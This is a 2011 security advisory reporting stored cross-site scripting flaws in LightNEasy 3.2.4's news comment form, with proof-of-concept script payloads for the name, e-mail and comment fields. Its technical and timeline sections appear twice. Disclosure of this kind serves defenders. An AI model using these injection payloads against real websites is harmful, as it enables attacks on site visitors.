SSCHADV2011-013 - Multiple XSS vulnerabilities in LightNEasy
| Advisory: | Multiple XSS vulnerabilities in LightNEasy |
| Advisory ID: | SSCHADV2011-013 |
| Author: |
Stefan Schurtz
|
| Affected Software: | 3.2.4 |
| Vendor URL: | |
| Vendor Status: | informed |
| OSVDB-ID: | 75262 |
======================
Vulnerability Description:
======================
Vulnerability Description:
======================
LightNEasy is prone to multiple XSS vulnerabilities
==============
Technical Details:
==============
http://<target>/lightneasy/LightNEasy.php?page=news
// commentemail
Your name: blah
Your e-mail: ‘"</style></script><script>alert(0×000296)</script>
Your comment: blah
Code: 666
//commentmessage
Your name: blah
Your e-mail: blah@blah.de
Your comment: </textarea></td></tr><script>alert(‘XSS’)</script>
Code: 666
//commentname
Your name: ‘"</style></script><script>alert(‘XSS’)</script>
Your e-mail: blah@blah.de
Your comment: blah
Code: 666
=====
Solution:
=====
-
================
Disclosure Timeline:
================
07-Sep-2011 – informed developers
07-Sep-2011 – release date of this security advisory
Technical Details:
==============
http://<target>/lightneasy/LightNEasy.php?page=news
// commentemail
Your name: blah
Your e-mail: ‘"</style></script><script>alert(0×000296)</script>
Your comment: blah
Code: 666
//commentmessage
Your name: blah
Your e-mail: blah@blah.de
Your comment: </textarea></td></tr><script>alert(‘XSS’)</script>
Code: 666
//commentname
Your name: ‘"</style></script><script>alert(‘XSS’)</script>
Your e-mail: blah@blah.de
Your comment: blah
Code: 666
=====
Solution:
=====
-
================
Disclosure Timeline:
================
07-Sep-2011 – informed developers
07-Sep-2011 – release date of this security advisory
08-Sep-2011 – post on BugTraq
====
Credits:
====
Vulnerability found and advisory written by Stefan Schurtz.
=======
References:
=======
http://www.lightneasy.org/
http://www.lightneasy.org/punbb/viewtopic.php?id=1464
http://www.rul3z.de/advisories/SSCHADV2011-013.txt
Trackbacks
No Trackbacks
Comments
Display comments as Linear | Threaded